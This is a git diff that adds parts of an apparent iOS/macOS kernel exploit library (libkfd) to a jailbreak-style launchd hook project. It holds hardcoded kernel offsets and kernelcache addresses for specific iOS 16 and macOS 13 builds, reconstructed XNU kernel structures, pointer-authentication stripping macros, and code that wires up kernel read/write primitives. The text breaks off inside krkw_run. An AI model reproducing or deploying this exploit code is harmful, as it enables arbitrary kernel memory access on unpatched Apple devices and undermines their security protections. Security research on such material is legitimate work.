+ * kernel_pmap()
+ */
+ u64 signed_pmap_kaddr = static_kget(struct _vm_map, pmap, kfd->info.kaddr.kernel_map);
+ kfd->info.kaddr.kernel_pmap = UNSIGN_PTR(signed_pmap_kaddr);
+ print_x64(kfd->info.kaddr.kernel_pmap);
+ }
+
+ timer_end();
+}
+
+void info_free(struct kfd* kfd)
+{
+ assert_mach(vm_deallocate(mach_task_self(), kfd->info.copy.src_uaddr, kfd->info.copy.size));
+ assert_mach(vm_deallocate(mach_task_self(), kfd->info.copy.dst_uaddr, kfd->info.copy.size));
+}
+
+#endif /* info_h */
\ No newline at end of file
diff --git a/RootHelperSample/launchdshim/launchdhook/libkfd/info/dynamic_info.h b/RootHelperSample/launchdshim/launchdhook/libkfd/info/dynamic_info.h
new file mode 100644
index 00000000..48d9430e
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/libkfd/info/dynamic_info.h
@@ -0,0 +1,140 @@
+/*
+ * Copyright (c) 2023 Félix Poulin-Bélanger. All rights reserved.
+ */
+
+#ifndef dynamic_info_h
+#define dynamic_info_h
+
+#include "../../fun/kpf/patchfinder.h"
+
+struct dynamic_info {
+ const char* kern_version;
+ bool kread_kqueue_workloop_ctl_supported;
+ bool perf_supported;
+ // struct proc
+ u64 proc__p_list__le_prev;
+ u64 proc__p_pid;
+ u64 proc__p_fd__fd_ofiles;
+ u64 proc__object_size;
+ // struct task
+ u64 task__map;
+ // struct thread
+ u64 thread__thread_id;
+ // kernelcache static addresses (perf)
+ u64 kernelcache__cdevsw; // "spec_open type" or "Can't mark ptc as kqueue ok"
+ u64 kernelcache__gPhysBase; // "%s: illegal PA: 0x%llx; phys base 0x%llx, size 0x%llx"
+ u64 kernelcache__gPhysSize; // (gPhysBase + 0x8)
+ u64 kernelcache__gVirtBase; // "%s: illegal PA: 0x%llx; phys base 0x%llx, size 0x%llx"
+ u64 kernelcache__perfmon_dev_open; // "perfmon: attempt to open unsupported source: 0x%x"
+ u64 kernelcache__perfmon_devices; // "perfmon: %s: devfs_make_node_clone failed"
+ u64 kernelcache__ptov_table; // "%s: illegal PA: 0x%llx; phys base 0x%llx, size 0x%llx"
+ u64 kernelcache__vn_kqfilter; // "Invalid knote filter on a vnode!"
+ u64 kslide; // KSLIDE
+};
+
+struct dynamic_info kern_versions[] = {
+ // iOS 16.x / arm64e
+ {
+ .kern_version = "Darwin Kernel Version 22.x.x / arm64e",
+ .kread_kqueue_workloop_ctl_supported = false,
+ .perf_supported = true,
+ .proc__p_list__le_prev = 0x0008,
+ .proc__p_pid = 0x0060,
+ .proc__p_fd__fd_ofiles = 0x00f8,
+ .proc__object_size = 0,
+ .task__map = 0x0028,
+ .thread__thread_id = 0,
+ .kernelcache__cdevsw = 0,
+ .kernelcache__gPhysBase = 0,
+ .kernelcache__gPhysSize = 0,
+ .kernelcache__gVirtBase = 0,
+ .kernelcache__perfmon_dev_open = 0,
+ .kernelcache__perfmon_devices = 0,
+ .kernelcache__ptov_table = 0,
+ .kernelcache__vn_kqfilter = 0,
+ },
+// // iOS 16.6 - iPhone 12 Pro
+// // T1SZ_BOOT must be changed to 25 instead of 17
+// {
+// .kern_version = "Darwin Kernel Version 22.6.0: Wed Jun 28 20:50:15 PDT 2023; root:xnu-8796.142.1~1/RELEASE_ARM64_T8101",
+// .kread_kqueue_workloop_ctl_supported = false,
+// .perf_supported = true,
+// .proc__p_list__le_prev = 0x0008,
+// .proc__p_pid = 0x0060,
+// .proc__p_fd__fd_ofiles = 0x00f8,
+// .proc__object_size = 0x0730,
+// .task__map = 0x0028,
+// .thread__thread_id = 0,
+// .kernelcache__cdevsw = 0xfffffff00a4a5288,
+// .kernelcache__gPhysBase = 0xfffffff0079303b8,
+// .kernelcache__gPhysSize = 0xfffffff0079303c0,
+// .kernelcache__gVirtBase = 0xfffffff00792e570,
+// .kernelcache__perfmon_dev_open = 0xfffffff007ef4278,
+// .kernelcache__perfmon_devices = 0xfffffff00a4e5320,
+// .kernelcache__ptov_table = 0xfffffff0078e38f0,
+// .kernelcache__vn_kqfilter = 0xfffffff007f42f40,
+// },
+// // macOS 13.4 - MacBook Air (M2, 2022)
+// {
+// .kern_version = "todo",
+// .kread_kqueue_workloop_ctl_supported = false,
+// .perf_supported = false,
+// .proc__p_list__le_prev = 0x0008,
+// .proc__p_pid = 0x0060,
+// .proc__p_fd__fd_ofiles = 0x00f8,
+// .proc__object_size = 0x0778,
+// .task__map = 0x0028,
+// .thread__thread_id = 0,
+// .kernelcache__cdevsw = 0,
+// .kernelcache__gPhysBase = 0,
+// .kernelcache__gPhysSize = 0,
+// .kernelcache__gVirtBase = 0,
+// .kernelcache__perfmon_dev_open = 0,
+// .kernelcache__perfmon_devices = 0,
+// .kernelcache__ptov_table = 0,
+// .kernelcache__vn_kqfilter = 0,
+// },
+// // macOS 13.5 - MacBook Air (M2, 2022)
+// {
+// .kern_version = "Darwin Kernel Version 22.6.0: Wed Jul 5 22:17:35 PDT 2023; root:xnu-8796.141.3~6/RELEASE_ARM64_T8112",
+// .kread_kqueue_workloop_ctl_supported = false,
+// .perf_supported = false,
+// .proc__p_list__le_prev = 0x0008,
+// .proc__p_pid = 0x0060,
+// .proc__p_fd__fd_ofiles = 0x00f8,
+// .proc__object_size = 0x0778,
+// .task__map = 0x0028,
+// .thread__thread_id = 0,
+// .kernelcache__cdevsw = 0,
+// .kernelcache__gPhysBase = 0,
+// .kernelcache__gPhysSize = 0,
+// .kernelcache__gVirtBase = 0,
+// .kernelcache__perfmon_dev_open = 0,
+// .kernelcache__perfmon_devices = 0,
+// .kernelcache__ptov_table = 0,
+// .kernelcache__vn_kqfilter = 0,
+// },
+// // iOS 16.1.2 - iPhone 14 Pro
+// // T1SZ_BOOT = 25
+// {
+// .kern_version = "Darwin Kernel Version 22.1.0: Thu Oct 6 19:34:16 PDT 2022; root:xnu-8792.42.7~1/RELEASE_ARM64_T8120",
+// .kread_kqueue_workloop_ctl_supported = false,
+// .perf_supported = true,
+// .proc__p_list__le_prev = 0x0008,
+// .proc__p_pid = 0x0060,
+// .proc__p_fd__fd_ofiles = 0x00f8,
+// .proc__object_size = 0x530,
+// .task__map = 0x0028,
+// .thread__thread_id = 0,
+// .kernelcache__cdevsw = 0xFFFFFFF00A311168,
+// .kernelcache__gPhysBase = 0xFFFFFFF00784BD50,
+// .kernelcache__gPhysSize = 0xFFFFFFF00784BD58,
+// .kernelcache__gVirtBase = 0xFFFFFFF007849F38,
+// .kernelcache__perfmon_dev_open = 0xFFFFFFF007EC0288,
+// .kernelcache__perfmon_devices = 0xFFFFFFF00A34C310,
+// .kernelcache__ptov_table = 0xFFFFFFF0077FFA18,
+// .kernelcache__vn_kqfilter = 0xFFFFFFF007F101A0,
+// },
+};
+
+#endif /* dynamic_info_h */
diff --git a/RootHelperSample/launchdshim/launchdhook/libkfd/info/static_info.h b/RootHelperSample/launchdshim/launchdhook/libkfd/info/static_info.h
new file mode 100644
index 00000000..960be96c
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/libkfd/info/static_info.h
@@ -0,0 +1,744 @@
+/*
+ * Copyright (c) 2023 Félix Poulin-Bélanger. All rights reserved.
+ */
+
+#ifndef static_info_h
+#define static_info_h
+
+/*
+ * makedefs/MakeInc.def
+ */
+
+uint64_t arm64_link_addr = 0;
+#define ARM64_LINK_ADDR arm64_link_addr
+
+/*
+ * osfmk/arm64/proc_reg.h
+ */
+
+#define ARM_PGSHIFT (14ull)
+#define ARM_PGBYTES (1ull << ARM_PGSHIFT)
+#define ARM_PGMASK (ARM_PGBYTES - 1ull)
+
+unsigned long long t1sz_boot = 0;
+#define T1SZ_BOOT t1sz_boot
+
+#define AP_RWNA (0x0ull << 6)
+#define AP_RWRW (0x1ull << 6)
+#define AP_RONA (0x2ull << 6)
+#define AP_RORO (0x3ull << 6)
+
+#define ARM_PTE_TYPE 0x0000000000000003ull
+#define ARM_PTE_TYPE_VALID 0x0000000000000003ull
+#define ARM_PTE_TYPE_MASK 0x0000000000000002ull
+#define ARM_TTE_TYPE_L3BLOCK 0x0000000000000002ull
+#define ARM_PTE_ATTRINDX 0x000000000000001cull
+#define ARM_PTE_NS 0x0000000000000020ull
+#define ARM_PTE_AP 0x00000000000000c0ull
+#define ARM_PTE_SH 0x0000000000000300ull
+#define ARM_PTE_AF 0x0000000000000400ull
+#define ARM_PTE_NG 0x0000000000000800ull
+#define ARM_PTE_ZERO1 0x000f000000000000ull
+#define ARM_PTE_HINT 0x0010000000000000ull
+#define ARM_PTE_PNX 0x0020000000000000ull
+#define ARM_PTE_NX 0x0040000000000000ull
+#define ARM_PTE_ZERO2 0x0380000000000000ull
+#define ARM_PTE_WIRED 0x0400000000000000ull
+#define ARM_PTE_WRITEABLE 0x0800000000000000ull
+#define ARM_PTE_ZERO3 0x3000000000000000ull
+#define ARM_PTE_COMPRESSED_ALT 0x4000000000000000ull
+#define ARM_PTE_COMPRESSED 0x8000000000000000ull
+
+#define ARM_TTE_VALID 0x0000000000000001ull
+#define ARM_TTE_TYPE_MASK 0x0000000000000002ull
+#define ARM_TTE_TYPE_TABLE 0x0000000000000002ull
+#define ARM_TTE_TYPE_BLOCK 0x0000000000000000ull
+#define ARM_TTE_TABLE_MASK 0x0000fffffffff000ull
+#define ARM_TTE_PA_MASK 0x0000fffffffff000ull
+
+#define ARM_16K_TT_L0_SIZE 0x0000800000000000ull
+#define ARM_16K_TT_L0_OFFMASK 0x00007fffffffffffull
+#define ARM_16K_TT_L0_SHIFT 47
+#define ARM_16K_TT_L0_INDEX_MASK 0x0000800000000000ull
+
+#define ARM_16K_TT_L1_SIZE 0x0000001000000000ull
+#define ARM_16K_TT_L1_OFFMASK 0x0000000fffffffffull
+#define ARM_16K_TT_L1_SHIFT 36
+#define ARM_16K_TT_L1_INDEX_MASK 0x00007ff000000000ull
+
+#define ARM_16K_TT_L2_SIZE 0x0000000002000000ull
+#define ARM_16K_TT_L2_OFFMASK 0x0000000001ffffffull
+#define ARM_16K_TT_L2_SHIFT 25
+#define ARM_16K_TT_L2_INDEX_MASK 0x0000000ffe000000ull
+
+#define ARM_16K_TT_L3_SIZE 0x0000000000004000ull
+#define ARM_16K_TT_L3_OFFMASK 0x0000000000003fffull
+#define ARM_16K_TT_L3_SHIFT 14
+#define ARM_16K_TT_L3_INDEX_MASK 0x0000000001ffc000ull
+
+/*
+ * osfmk/arm/pmap/pmap_pt_geometry.h
+ */
+
+#define PMAP_TT_L0_LEVEL 0x0
+#define PMAP_TT_L1_LEVEL 0x1
+#define PMAP_TT_L2_LEVEL 0x2
+#define PMAP_TT_L3_LEVEL 0x3
+
+/*
+ * osfmk/kern/bits.h
+ */
+
+#define BIT(b) (1ULL << (b))
+
+/*
+ * osfmk/arm/machine_routines.h
+ */
+
+#define ONES(x) (BIT((x))-1)
+#define PTR_MASK ONES(64-T1SZ_BOOT)
+#define PAC_MASK (~PTR_MASK)
+#define SIGN(p) ((p) & BIT(55))
+#define UNSIGN_PTR(p) (SIGN(p) ? ((p) | PAC_MASK) : ((p) & ~PAC_MASK))
+
+/*
+ * osfmk/kern/kalloc.h
+ */
+
+#define KHEAP_MAX_SIZE (32ull * 1024ull)
+
+/*
+ * osfmk/ipc/ipc_init.c
+ */
+
+const vm_size_t msg_ool_size_small = KHEAP_MAX_SIZE;
+
+/*
+ * osfmk/vm/vm_map_store.h
+ */
+
+struct vm_map_store {
+ struct {
+ u64 rbe_left;
+ u64 rbe_right;
+ u64 rbe_parent;
+ } entry;
+};
+
+struct vm_map_links {
+ u64 prev;
+ u64 next;
+ u64 start;
+ u64 end;
+};
+
+struct vm_map_header {
+ struct vm_map_links links;
+ i32 nentries;
+ u16 page_shift;
+ u16
+ entries_pageable:1,
+ __padding:15;
+ struct {
+ u64 rbh_root;
+ } rb_head_store;
+};
+
+/*
+ * osfmk/vm/vm_map.h
+ */
+
+struct vm_map_entry {
+ struct vm_map_links links;
+ struct vm_map_store store;
+ union {
+ u64 vme_object_value;
+ struct {
+ u64 vme_atomic:1;
+ u64 is_sub_map:1;
+ u64 vme_submap:60;
+ };
+ struct {
+ u32 vme_ctx_atomic:1;
+ u32 vme_ctx_is_sub_map:1;
+ u32 vme_context:30;
+ u32 vme_object;
+ };
+ };
+ u64
+ vme_alias:12,
+ vme_offset:52,
+ is_shared:1,
+ __unused1:1,
+ in_transition:1,
+ needs_wakeup:1,
+ behavior:2,
+ needs_copy:1,
+ protection:3,
+ used_for_tpro:1,
+ max_protection:4,
+ inheritance:2,
+ use_pmap:1,
+ no_cache:1,
+ vme_permanent:1,
+ superpage_size:1,
+ map_aligned:1,
+ zero_wired_pages:1,
+ used_for_jit:1,
+ pmap_cs_associated:1,
+ iokit_acct:1,
+ vme_resilient_codesign:1,
+ vme_resilient_media:1,
+ __unused2:1,
+ vme_no_copy_on_read:1,
+ translated_allow_execute:1,
+ vme_kernel_object:1;
+ u16 wired_count;
+ u16 user_wired_count;
+};
+
+struct _vm_map {
+ u64 lock[2];
+ struct vm_map_header hdr;
+ u64 pmap;
+ u64 size;
+ u64 size_limit;
+ u64 data_limit;
+ u64 user_wire_limit;
+ u64 user_wire_size;
+#if TARGET_MACOS
+ u64 vmmap_high_start;
+#else /* TARGET_MACOS */
+ u64 user_range[4];
+#endif /* TARGET_MACOS */
+ union {
+ u64 vmu1_highest_entry_end;
+ u64 vmu1_lowest_unnestable_start;
+ } vmu1;
+ u64 hint;
+ union {
+ u64 vmmap_hole_hint;
+ u64 vmmap_corpse_footprint;
+ } vmmap_u_1;
+ union {
+ u64 _first_free;
+ u64 _holes;
+ } f_s;
+ u32 map_refcnt;
+ u32
+ wait_for_space:1,
+ wiring_required:1,
+ no_zero_fill:1,
+ mapped_in_other_pmaps:1,
+ switch_protect:1,
+ disable_vmentry_reuse:1,
+ map_disallow_data_exec:1,
+ holelistenabled:1,
+ is_nested_map:1,
+ map_disallow_new_exec:1,
+ jit_entry_exists:1,
+ has_corpse_footprint:1,
+ terminated:1,
+ is_alien:1,
+ cs_enforcement:1,
+ cs_debugged:1,
+ reserved_regions:1,
+ single_jit:1,
+ never_faults:1,
+ uses_user_ranges:1,
+ pad:12;
+ u32 timestamp;
+};
+
+/*
+ * osfmk/arm/pmap/pmap.h
+ */
+
+struct pmap {
+ u64 tte;
+ u64 ttep;
+ u64 min;
+ u64 max;
+ u64 pmap_pt_attr;
+ u64 ledger;
+ u64 rwlock[2];
+ struct {
+ u64 next;
+ u64 prev;
+ } pmaps;
+ u64 tt_entry_free;
+ u64 nested_pmap;
+ u64 nested_region_addr;
+ u64 nested_region_size;
+ u64 nested_region_true_start;
+ u64 nested_region_true_end;
+ u64 nested_region_asid_bitmap;
+ u32 nested_region_asid_bitmap_size;
+ u64 reserved0;
+ u64 reserved1;
+ u64 reserved2;
+ u64 reserved3;
+ i32 ref_count;
+ i32 nested_count;
+ u32 nested_no_bounds_refcnt;
+ u16 hw_asid;
+ u8 sw_asid;
+ bool reserved4;
+ bool pmap_vm_map_cs_enforced;
+ bool reserved5;
+ u32 reserved6;
+ u8 reserved7;
+ u8 type;
+ bool reserved8;
+ bool reserved9;
+ bool is_rosetta;
+ bool nx_enabled;
+ bool is_64bit;
+ bool nested_has_no_bounds_ref;
+ bool nested_bounds_set;
+ bool disable_jop;
+ bool reserved11;
+};
+
+/*
+ * bsd/kern/kern_guarded.c
+ */
+
+#define GUARD_REQUIRED (1u << 1)
+
+/*
+ * bsd/sys/file_internal.h
+ */
+
+struct fileproc_guard {
+ u64 fpg_wset;
+ u64 fpg_guard;
+};
+
+struct fileproc {
+ u32 fp_iocount;
+ u32 fp_vflags;
+ u16 fp_flags;
+ u16 fp_guard_attrs;
+ u64 fp_glob;
+ union {
+ u64 fp_wset;
+ u64 fp_guard;
+ };
+};
+
+typedef enum {
+ DTYPE_VNODE = 1,
+ DTYPE_SOCKET,
+ DTYPE_PSXSHM,
+ DTYPE_PSXSEM,
+ DTYPE_KQUEUE,
+ DTYPE_PIPE,
+ DTYPE_FSEVENTS,
+ DTYPE_ATALK,
+ DTYPE_NETPOLICY,
+ DTYPE_CHANNEL,
+ DTYPE_NEXUS
+} file_type_t;
+
+struct fileops {
+ file_type_t fo_type;
+ void* fo_read;
+ void* fo_write;
+ void* fo_ioctl;
+ void* fo_select;
+ void* fo_close;
+ void* fo_kqfilter;
+ void* fo_drain;
+};
+
+struct fileglob {
+ struct {
+ u64 le_next;
+ u64 le_prev;
+ } f_msglist;
+ u32 fg_flag;
+ u32 fg_count;
+ u32 fg_msgcount;
+ i32 fg_lflags;
+ u64 fg_cred;
+ u64 fg_ops;
+ i64 fg_offset;
+ u64 fg_data;
+ u64 fg_vn_data;
+ u64 fg_lock[2];
+};
+
+/*
+ * bsd/sys/perfmon_private.h
+ */
+
+struct perfmon_layout {
+ u16 pl_counter_count;
+ u16 pl_fixed_offset;
+ u16 pl_fixed_count;
+ u16 pl_unit_count;
+ u16 pl_reg_count;
+ u16 pl_attr_count;
+};
+
+typedef char perfmon_name_t[16];
+
+struct perfmon_event {
+ char pe_name[32];
+ u64 pe_number;
+ u16 pe_counter;
+};
+
+struct perfmon_attr {
+ perfmon_name_t pa_name;
+ u64 pa_value;
+};
+
+struct perfmon_spec {
+ struct perfmon_event* ps_events;
+ struct perfmon_attr* ps_attrs;
+ u16 ps_event_count;
+ u16 ps_attr_count;
+};
+
+enum perfmon_ioctl {
+ PERFMON_CTL_ADD_EVENT = _IOWR('P', 5, struct perfmon_event),
+ PERFMON_CTL_SPECIFY = _IOWR('P', 10, struct perfmon_spec),
+};
+
+/*
+ * osfmk/kern/perfmon.h
+ */
+
+enum perfmon_kind {
+ perfmon_cpmu,
+ perfmon_upmu,
+ perfmon_kind_max,
+};
+
+struct perfmon_source {
+ const char* ps_name;
+ const perfmon_name_t* ps_register_names;
+ const perfmon_name_t* ps_attribute_names;
+ struct perfmon_layout ps_layout;
+ enum perfmon_kind ps_kind;
+ bool ps_supported;
+};
+
+#define PERFMON_SPEC_MAX_ATTR_COUNT (32)
+
+/*
+ * osfmk/machine/machine_perfmon.h
+ */
+
+struct perfmon_counter {
+ u64 pc_number;
+};
+
+struct perfmon_config {
+ struct perfmon_source* pc_source;
+ struct perfmon_spec pc_spec;
+ u16 pc_attr_ids[PERFMON_SPEC_MAX_ATTR_COUNT];
+ struct perfmon_counter* pc_counters;
+ u64 pc_counters_used;
+ u64 pc_attrs_used;
+ bool pc_configured:1;
+};
+
+/*
+ * bsd/dev/dev_perfmon.c
+ */
+
+struct perfmon_device {
+ void* pmdv_copyout_buf;
+ u64 pmdv_mutex[2];
+ struct perfmon_config* pmdv_config;
+ bool pmdv_allocated;
+};
+
+/*
+ * bsd/pthread/workqueue_syscalls.h
+ */
+
+#define KQ_WORKLOOP_CREATE 0x01
+#define KQ_WORKLOOP_DESTROY 0x02
+
+#define KQ_WORKLOOP_CREATE_SCHED_PRI 0x01
+#define KQ_WORKLOOP_CREATE_SCHED_POL 0x02
+#define KQ_WORKLOOP_CREATE_CPU_PERCENT 0x04
+
+struct kqueue_workloop_params {
+ i32 kqwlp_version;
+ i32 kqwlp_flags;
+ u64 kqwlp_id;
+ i32 kqwlp_sched_pri;
+ i32 kqwlp_sched_pol;
+ i32 kqwlp_cpu_percent;
+ i32 kqwlp_cpu_refillms;
+} __attribute__((packed));
+
+/*
+ * bsd/pthread/workqueue_internal.h
+ */
+
+struct workq_threadreq_s {
+ union {
+ u64 tr_entry[3];
+ u64 tr_link[1];
+ u64 tr_thread;
+ };
+ u16 tr_count;
+ u8 tr_flags;
+ u8 tr_state;
+ u8 tr_qos;
+ u8 tr_kq_override_index;
+ u8 tr_kq_qos_index;
+};
+
+/*
+ * bsd/sys/event.h
+ */
+
+struct kqtailq {
+ u64 tqh_first;
+ u64 tqh_last;
+};
+
+/*
+ * bsd/sys/eventvar.h
+ */
+
+__options_decl(kq_state_t, u16, {
+ KQ_SLEEP = 0x0002,
+ KQ_PROCWAIT = 0x0004,
+ KQ_KEV32 = 0x0008,
+ KQ_KEV64 = 0x0010,
+ KQ_KEV_QOS = 0x0020,
+ KQ_WORKQ = 0x0040,
+ KQ_WORKLOOP = 0x0080,
+ KQ_PROCESSING = 0x0100,
+ KQ_DRAIN = 0x0200,
+ KQ_DYNAMIC = 0x0800,
+ KQ_R2K_ARMED = 0x1000,
+ KQ_HAS_TURNSTILE = 0x2000,
+});
+
+struct kqueue {
+ u64 kq_lock[2];
+ kq_state_t kq_state;
+ u16 kq_level;
+ u32 kq_count;
+ u64 kq_p;
+ u64 kq_knlocks[1];
+};
+
+struct kqworkloop {
+ struct kqueue kqwl_kqueue;
+ struct kqtailq kqwl_queue[6];
+ struct kqtailq kqwl_suppressed;
+ struct workq_threadreq_s kqwl_request;
+ u64 kqwl_preadopt_tg;
+ u64 kqwl_statelock[2];
+ u64 kqwl_owner;
+ u32 kqwl_retains;
+ u8 kqwl_wakeup_qos;
+ u8 kqwl_iotier_override;
+ u16 kqwl_preadopt_tg_needs_redrive;
+ u64 kqwl_turnstile;
+ u64 kqwl_dynamicid;
+ u64 kqwl_params;
+ u64 kqwl_hashlink[2];
+};
+
+/*
+ * bsd/kern/posix_sem.c
+ */
+
+struct pseminfo {
+ u32 psem_flags;
+ u32 psem_usecount;
+ u16 psem_mode;
+ u32 psem_uid;
+ u32 psem_gid;
+ char psem_name[32];
+ u64 psem_semobject;
+ u64 psem_label;
+ i32 psem_creator_pid;
+ u64 psem_creator_uniqueid;
+};
+
+struct psemnode {
+ u64 pinfo;
+ u64 padding;
+};
+
+/*
+ * osfmk/kern/sync_sema.h
+ */
+
+struct semaphore {
+ struct {
+ u64 next;
+ u64 prev;
+ } task_link;
+ char waitq[24];
+ u64 owner;
+ u64 port;
+ u32 ref_count;
+ i32 count;
+};
+
+/*
+ * bsd/sys/vnode_internal.h
+ */
+
+struct vnode {
+ u64 v_lock[2];
+ u64 v_freelist[2];
+ u64 v_mntvnodes[2];
+ u64 v_ncchildren[2];
+ u64 v_nclinks[1];
+ u64 v_defer_reclaimlist;
+ u32 v_listflag;
+ u32 v_flag;
+ u16 v_lflag;
+ u8 v_iterblkflags;
+ u8 v_references;
+ i32 v_kusecount;
+ i32 v_usecount;
+ i32 v_iocount;
+ u64 v_owner;
+ u16 v_type;
+ u16 v_tag;
+ u32 v_id;
+ union {
+ u64 vu_mountedhere;
+ u64 vu_socket;
+ u64 vu_specinfo;
+ u64 vu_fifoinfo;
+ u64 vu_ubcinfo;
+ } v_un;
+ // ...
+};
+
+/*
+ * bsd/miscfs/specfs/specdev.h
+ */
+
+struct specinfo {
+ u64 si_hashchain;
+ u64 si_specnext;
+ i64 si_flags;
+ i32 si_rdev;
+ i32 si_opencount;
+ i32 si_size;
+ i64 si_lastr;
+ u64 si_devsize;
+ u8 si_initted;
+ u8 si_throttleable;
+ u16 si_isssd;
+ u32 si_devbsdunit;
+ u64 si_throttle_mask;
+};
+
+/*
+ * bsd/sys/proc_info.h
+ */
+
+#define PROC_INFO_CALL_LISTPIDS 0x1
+#define PROC_INFO_CALL_PIDINFO 0x2
+#define PROC_INFO_CALL_PIDFDINFO 0x3
+#define PROC_INFO_CALL_KERNMSGBUF 0x4
+#define PROC_INFO_CALL_SETCONTROL 0x5
+#define PROC_INFO_CALL_PIDFILEPORTINFO 0x6
+#define PROC_INFO_CALL_TERMINATE 0x7
+#define PROC_INFO_CALL_DIRTYCONTROL 0x8
+#define PROC_INFO_CALL_PIDRUSAGE 0x9
+#define PROC_INFO_CALL_PIDORIGINATORINFO 0xa
+#define PROC_INFO_CALL_LISTCOALITIONS 0xb
+#define PROC_INFO_CALL_CANUSEFGHW 0xc
+#define PROC_INFO_CALL_PIDDYNKQUEUEINFO 0xd
+#define PROC_INFO_CALL_UDATA_INFO 0xe
+#define PROC_INFO_CALL_SET_DYLD_IMAGES 0xf
+#define PROC_INFO_CALL_TERMINATE_RSR 0x10
+
+struct vinfo_stat {
+ u32 vst_dev;
+ u16 vst_mode;
+ u16 vst_nlink;
+ u64 vst_ino;
+ u32 vst_uid;
+ u32 vst_gid;
+ i64 vst_atime;
+ i64 vst_atimensec;
+ i64 vst_mtime;
+ i64 vst_mtimensec;
+ i64 vst_ctime;
+ i64 vst_ctimensec;
+ i64 vst_birthtime;
+ i64 vst_birthtimensec;
+ i64 vst_size;
+ i64 vst_blocks;
+ i32 vst_blksize;
+ u32 vst_flags;
+ u32 vst_gen;
+ u32 vst_rdev;
+ i64 vst_qspare[2];
+};
+
+#define PROC_PIDFDVNODEINFO 1
+#define PROC_PIDFDVNODEPATHINFO 2
+#define PROC_PIDFDSOCKETINFO 3
+#define PROC_PIDFDPSEMINFO 4
+#define PROC_PIDFDPSHMINFO 5
+#define PROC_PIDFDPIPEINFO 6
+#define PROC_PIDFDKQUEUEINFO 7
+#define PROC_PIDFDATALKINFO 8
+#define PROC_PIDFDKQUEUE_EXTINFO 9
+#define PROC_PIDFDCHANNELINFO 10
+
+struct proc_fileinfo {
+ u32 fi_openflags;
+ u32 fi_status;
+ i64 fi_offset;
+ i32 fi_type;
+ u32 fi_guardflags;
+};
+
+struct psem_info {
+ struct vinfo_stat psem_stat;
+ char psem_name[1024];
+};
+
+struct psem_fdinfo {
+ struct proc_fileinfo pfi;
+ struct psem_info pseminfo;
+};
+
+#define PROC_PIDDYNKQUEUE_INFO 0
+#define PROC_PIDDYNKQUEUE_EXTINFO 1
+
+struct kqueue_info {
+ struct vinfo_stat kq_stat;
+ u32 kq_state;
+ u32 rfu_1;
+};
+
+struct kqueue_dyninfo {
+ struct kqueue_info kqdi_info;
+ u64 kqdi_servicer;
+ u64 kqdi_owner;
+ u32 kqdi_sync_waiters;
+ u8 kqdi_sync_waiter_qos;
+ u8 kqdi_async_qos;
+ u16 kqdi_request_state;
+ u8 kqdi_events_qos;
+ u8 kqdi_pri;
+ u8 kqdi_pol;
+ u8 kqdi_cpupercent;
+ u8 _kqdi_reserved0[4];
+ u64 _kqdi_reserved1[4];
+};
+
+#endif /* static_info_h */
\ No newline at end of file
diff --git a/RootHelperSample/launchdshim/launchdhook/libkfd/krkw.h b/RootHelperSample/launchdshim/launchdhook/libkfd/krkw.h
new file mode 100644
index 00000000..d537e621
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/libkfd/krkw.h
@@ -0,0 +1,266 @@
+/*
+ * Copyright (c) 2023 Félix Poulin-Bélanger. All rights reserved.
+ */
+
+#ifndef krkw_h
+#define krkw_h
+
+#define kread_from_method(type, method) \
+ do { \
+ volatile type* type_base = (volatile type*)(uaddr); \
+ u64 type_size = ((size) / (sizeof(type))); \
+ for (u64 type_offset = 0; type_offset < type_size; type_offset++) { \
+ type type_value = method(kfd, kaddr + (type_offset * sizeof(type))); \
+ type_base[type_offset] = type_value; \
+ } \
+ } while (0)
+
+#include "krkw/kread/kread_kqueue_workloop_ctl.h"
+#include "krkw/kread/kread_sem_open.h"
+
+#define kwrite_from_method(type, method) \
+ do { \
+ volatile type* type_base = (volatile type*)(uaddr); \
+ u64 type_size = ((size) / (sizeof(type))); \
+ for (u64 type_offset = 0; type_offset < type_size; type_offset++) { \
+ type type_value = type_base[type_offset]; \
+ method(kfd, kaddr + (type_offset * sizeof(type)), type_value); \
+ } \
+ } while (0)
+
+#include "krkw/kwrite/kwrite_dup.h"
+#include "krkw/kwrite/kwrite_sem_open.h"
+
+// Forward declarations for helper functions.
+void krkw_helper_init(struct kfd* kfd, struct krkw* krkw);
+int krkw_helper_grab_free_pages(struct kfd* kfd);
+void krkw_helper_run_allocate(struct kfd* kfd, struct krkw* krkw);
+void krkw_helper_run_deallocate(struct kfd* kfd, struct krkw* krkw);
+void krkw_helper_free(struct kfd* kfd, struct krkw* krkw);
+
+#define kread_method_case(method) \
+ case method: { \
+ const char* method_name = #method; \
+ print_string(method_name); \
+ kfd->kread.krkw_method_ops.init = method##_init; \
+ kfd->kread.krkw_method_ops.allocate = method##_allocate; \
+ kfd->kread.krkw_method_ops.search = method##_search; \
+ kfd->kread.krkw_method_ops.kread = method##_kread; \
+ kfd->kread.krkw_method_ops.kwrite = NULL; \
+ kfd->kread.krkw_method_ops.find_proc = method##_find_proc; \
+ kfd->kread.krkw_method_ops.deallocate = method##_deallocate; \
+ kfd->kread.krkw_method_ops.free = method##_free; \
+ break; \
+ }
+
+#define kwrite_method_case(method) \
+ case method: { \
+ const char* method_name = #method; \
+ print_string(method_name); \
+ kfd->kwrite.krkw_method_ops.init = method##_init; \
+ kfd->kwrite.krkw_method_ops.allocate = method##_allocate; \
+ kfd->kwrite.krkw_method_ops.search = method##_search; \
+ kfd->kwrite.krkw_method_ops.kread = NULL; \
+ kfd->kwrite.krkw_method_ops.kwrite = method##_kwrite; \
+ kfd->kwrite.krkw_method_ops.find_proc = method##_find_proc; \
+ kfd->kwrite.krkw_method_ops.deallocate = method##_deallocate; \
+ kfd->kwrite.krkw_method_ops.free = method##_free; \
+ break; \
+ }
+
+void krkw_init(struct kfd* kfd, u64 kread_method, u64 kwrite_method)
+{
+ if (!kern_versions[kfd->info.env.vid].kread_kqueue_workloop_ctl_supported) {
+ assert(kread_method != kread_kqueue_workloop_ctl);
+ }
+
+ if (kread_method == kread_sem_open) {
+ assert(kwrite_method == kwrite_sem_open);
+ }
+
+ switch (kread_method) {
+ kread_method_case(kread_kqueue_workloop_ctl)
+ kread_method_case(kread_sem_open)
+ }
+
+ switch (kwrite_method) {
+ kwrite_method_case(kwrite_dup)
+ kwrite_method_case(kwrite_sem_open)
+ }
+
+ krkw_helper_init(kfd, &kfd->kread);
+ krkw_helper_init(kfd, &kfd->kwrite);
+}
+
+int krkw_run(struct kfd* kfd)
+{
+ if(krkw_helper_grab_free_pages(kfd))
+ return -1;
+
